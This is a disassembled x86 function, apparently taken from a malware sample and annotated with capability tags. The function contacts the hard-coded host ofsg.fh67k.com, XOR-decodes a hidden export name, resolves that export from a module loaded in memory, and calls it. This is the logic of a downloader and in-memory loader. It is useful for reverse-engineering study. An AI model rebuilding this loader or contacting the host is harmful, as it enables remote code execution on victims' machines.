Function at 0x10004f30
Capabilities:
Encode data using xor
Print debug messages

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101b098f
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1f8
mov eax, dword [0x10240114]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.LoadMemModuleIco_Start_
mov dword [ebp - 0x1ac], 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0
lea ecx, [ebp - 0x1f0]
call fcn.10012f80
sub esp, 0x18
mov dword [ebp - 4], 0
mov ecx, esp
mov dword [ebp - 0x1a8], esp
push 0x10235530
call fcn.10012f30
push str.user
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 1
call fcn.10013790
mov ecx, eax
mov byte [ebp - 4], 0
call fcn.100133c0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1a8], esp
push str.10.0
call fcn.10012f30
push str.sysver
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 2
call fcn.10013790
mov ecx, eax
mov byte [ebp - 4], 0
call fcn.100133c0
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x1f0]
call fcn.10015dc0
push 0x408
call fcn.100849d1
mov esi, eax
mov dword [ebp - 0x1b8], esi
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
push ecx
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 5
call fcn.10010d90
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.10010e60
lea edx, [ebp - 0x108]
lea ecx, [ebp - 0xf0]
call fcn.100100b0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
sub esp, 0x18
mov byte [ebp - 4], 7
lea eax, [ebp - 0xf0]
mov dword [ebp - 0x1a8], esp
mov ecx, esp
lea edi, [ebp - 0xd8]
push eax
call fcn.10002380
sub esp, 0x18
mov byte [ebp - 4], 8
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
push 0x15
push str.http:__ofsg.fh67k.com
call fcn.10002530
mov ecx, edi
mov byte [ebp - 4], 7
call fcn.1000f610
add esp, 0x2c
lea ecx, [ebp - 0xc0]
mov edx, edi
call fcn.10010120
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0xf
mov byte [ebp - 0x78], 0
push 0x408
call fcn.100849d1
mov edi, eax
mov dword [ebp - 0x1b0], edi
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0xb
call fcn.10010d90
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x1b0]
call fcn.10010e60
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
push 0
lea ecx, [ebp - 0x1d8]
mov byte [ebp - 4], 0xc
call fcn.10012f80
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0xd
call fcn.100164f0
push 1
lea eax, [ebp - 0x1d8]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x198]
call fcn.1001b3c0
test al, al
je 0x1000578d
push str.time1
lea ecx, [ebp - 0x1d8]
call fcn.10013790
lea ecx, [ebp - 0xa8]
push ecx
mov ecx, eax
call fcn.10014770
push 0x10235570
lea ecx, [ebp - 0x1d8]
mov byte [ebp - 4], 0xf
call fcn.10013790
lea ecx, [ebp - 0x90]
push ecx
mov ecx, eax
call fcn.10014770
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xa8]
cmp dword [ebp - 0x94], 0x10
mov edx, dword [ebp - 0x98]
cmovae ecx, dword [ebp - 0xa8]
push 1
push 0x10235574
call fcn.10002d60
add esp, 8
test al, al
je 0x10005707
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x30]
call fcn.10002380
sub esp, 0x18
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x30]
mov dword [ebp - 0x38], 0
mov ecx, esp
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
push eax
mov dword [ebp - 0x1ac], 4
call fcn.10002380
lea ecx, [ebp - 0x48]
call fcn.1000f400
mov byte [ebp - 4], 0x11
add esp, 0x18
mov edx, dword [ebp - 0x1c]
cmp edx, 0x10
jb 0x1000528c
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10005282
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100059d5
push edx
push ecx
call fcn.1006495d
add esp, 8
lea eax, [ebp - 0x48]
mov dword [ebp - 0x20], 0
push eax
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
call fcn.10002300
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x34]
cmp edx, 0x10
jb 0x100052e2
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100052d8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100059da
push edx
push ecx
call fcn.1006495d
add esp, 8
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
sub esp, 0x18
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x60]
mov ecx, esp
push eax
call fcn.10002380
lea ecx, [ebp - 0x30]
call fcn.100045f0
mov dword [ebp - 0x1a0], 0
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
lea ecx, [ebp - 0x1a0]
push dword [ebp - 0x20]
cmovae eax, dword [ebp - 0x30]
push eax
call fcn.10008420
test eax, eax
je 0x10005691
movups xmm0, xmmword [str.kYYPSPNdNXNP25]
mov al, byte [0x10235588]
xor edx, edx
cmp dword [0x10246b5c], 2
movups xmmword [ebp - 0x44], xmm0
mov byte [ebp - 0x34], al
mov dword [ebp - 0x19c], edx
jl 0x100054b0
movaps xmm0, xmmword [str.4444444444444444]
mov eax, 5
movaps xmm4, xmmword [0x10237790]
movaps xmm3, xmmword [0x102377d0]
movaps xmm6, xmmword [str.9999]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x200], xmm0
mov ecx, dword [ebp - 0x200]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x102377b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x44]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x44], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x102377b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x40]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x40], xmm1
add edx, 8
cmp edx, 0x10
jl 0x100053a1
mov dword [ebp - 0x19c], edx
cmp edx, 0x11
jge 0x100054ea
nop dword [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x19c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x19c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x34
xor byte [ebp + edx - 0x44], cl
inc edx
mov dword [ebp - 0x19c], edx
cmp edx, 0x11
jl 0x100054b0
mov esi, dword [ebp - 0x1a0]
lea eax, [ebp - 0x44]
mov dword [ebp - 0x1a8], eax
mov eax, dword [esi]
mov edx, dword [esi + 4]
mov dword [ebp - 0x1ac], edx
cmp dword [eax + 0x7c], 0
je 0x10005678
mov ecx, dword [eax + 0x78]
mov eax, dword [ecx + edx + 0x18]
add ecx, edx
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0x1a4], eax
test eax, eax
je 0x10005678
cmp dword [ecx + 0x14], 0
je 0x10005678
lea eax, [ebp - 0x44]
shr eax, 0x10
test eax, eax
jne 0x10005557
lea eax, [ebp - 0x44]
movzx esi, ax
mov eax, dword [ecx + 0x10]
cmp esi, eax
jb 0x10005678
sub esi, eax
jmp 0x1000565b
cmp dword [esi + 0x30], 0
jne 0x10005627
mov eax, dword [ecx + 0x20]
add eax, edx
mov dword [ebp - 0x1bc], eax
mov eax, dword [ecx + 0x24]
add eax, edx
mov dword [ebp - 0x1a4], eax
mov eax, dword [ecx + 0x18]
shl eax, 3
push eax
call fcn.100849d1
mov ecx, eax
add esp, 4
mov dword [esi + 0x30], ecx
test ecx, ecx
jne 0x10005596
push 0xe
jmp 0x1000567a
mov edx, dword [ebp - 0x1b4]
mov dword [ebp - 0x19c], 0
mov eax, dword [edx + 0x18]
test eax, eax
je 0x1000560b
mov esi, dword [ebp - 0x1bc]
mov edi, dword [ebp - 0x1a4]
nop dword [eax]
mov eax, dword [esi]
lea esi, [esi + 4]
add eax, dword [ebp - 0x1ac]
lea edi, [edi + 2]
inc dword [ebp - 0x19c]
lea ecx, [ecx + 8]
mov dword [ecx - 8], eax
mov ax, word [edi - 2]
mov word [ecx - 4], ax
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x19c]
cmp eax, dword [edx + 0x18]
jb 0x100055c0
mov esi, dword [ebp - 0x1a0]
mov edi, dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [esi + 0x30]
push 0x100088a0
push 8
push eax
push ecx
call fcn.10085f10
mov eax, dword [ebp - 0x1b4]
add esp, 0x10
mov eax, dword [eax + 0x18]
jmp 0x1000562d
mov eax, dword [ebp - 0x1a4]
push 0x100088a0
push 8
push eax
push dword [esi + 0x30]
lea eax, [ebp - 0x1a8]
push eax
call fcn.100862aa
add esp, 0x14
test eax, eax
je 0x10005678
movzx esi, word [eax + 4]
mov ecx, dword [ebp - 0x1b4]
mov edx, dword [ebp - 0x1ac]
mov eax, dword [ecx + 0x14]
cmp esi, eax
ja 0x10005678
mov eax, dword [ecx + 0x1c]
lea eax, [eax + esi*4]
mov eax, dword [eax + edx]
add eax, edx
je 0x10005680
push 0x186ed
call eax
jmp 0x10005680
push 0x7f
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ebp - 0x1a0]
call fcn.100088c0
mov esi, dword [ebp - 0x1b8]
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
mov dword [ebp - 0x20], 0
cmovae eax, dword [ebp - 0x30]
cmp dword [ebp - 0x4c], 0x10
mov dword [ebp - 0x50], 0
mov byte [eax], 0
lea eax, [ebp - 0x60]
cmovae eax, dword [ebp - 0x60]
mov byte [eax], 0
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x1a0], 0
je 0x100056d3
lea ecx, [ebp - 0x1a0]
call fcn.100088c0
mov edx, dword [ebp - 0x1c]
cmp edx, 0x10
jb 0x10005707
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100056fd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100059df
push edx
push ecx
call fcn.1006495d
add esp, 8
mov edx, dword [ebp - 0x7c]
cmp edx, 0x10
jb 0x1000573e
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10005734
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100059e4
push edx
push ecx
call fcn.1006495d
add esp, 8
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
cmp edx, 0x10
jb 0x1000578d
mov ecx, dword [ebp - 0xa8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10005783
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100059e9
push edx
push ecx
call fcn.1006495d
add esp, 8
lea ecx, [ebp - 0x198]
call fcn.10005a20
lea ecx, [ebp - 0x1d8]
call fcn.100132e0
mov edx, dword [ebp - 0x4c]
cmp edx, 0x10
jb 0x100057d7
mov ecx, dword [ebp - 0x60]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100057cd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100059ee
push edx
push ecx
call fcn.1006495d
add esp, 8
test edi, edi
je 0x100057e4
push edi
call fcn.100849cc
add esp, 4
mov edx, dword [ebp - 0x64]
cmp edx, 0x10
jb 0x10005818
mov ecx, dword [ebp - 0x78]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000580e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100059f3
push edx
push ecx
call fcn.1006495d
add esp, 8
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0xf
mov byte [ebp - 0x78], 0
cmp edx, 0x10
jb 0x10005864
mov ecx, dword [ebp - 0xc0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000585a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100059f8
push edx
push ecx
call fcn.1006495d
add esp, 8
mov edx, dword [ebp - 0xc4]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
cmp edx, 0x10
jb 0x100058b9
mov ecx, dword [ebp - 0xd8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100058af
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100059fd
push edx
push ecx
call fcn.1006495d
add esp, 8
mov edx, dword [ebp - 0xdc]
cmp edx, 0x10
jb 0x100058f3
mov ecx, dword [ebp - 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100058e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10005a02
push edx
push ecx
call fcn.1006495d
add esp, 8
mov edx, dword [ebp - 0xf4]
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
cmp edx, 0x10
jb 0x10005948
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000593e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10005a07
push edx
push ecx
call fcn.1006495d
add esp, 8
test esi, esi
je 0x10005955
push esi
call fcn.100849cc
add esp, 4
mov edx, dword [ebp - 0x10c]
cmp edx, 0x10
jb 0x1000598f
mov ecx, dword [ebp - 0x120]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10005985
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10005a0c
push edx
push ecx
call fcn.1006495d
add esp, 8
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0xf
mov byte [ebp - 0x120], 0
call fcn.100132e0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100645b9
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.1008497c
call fcn.1008497c
call fcn.1008497c
call fcn.1008497c
call fcn.1008497c
call fcn.1008497c
call fcn.1008497c
call fcn.1008497c
call fcn.1008497c
call fcn.1008497c
call fcn.1008497c
call fcn.1008497c
int3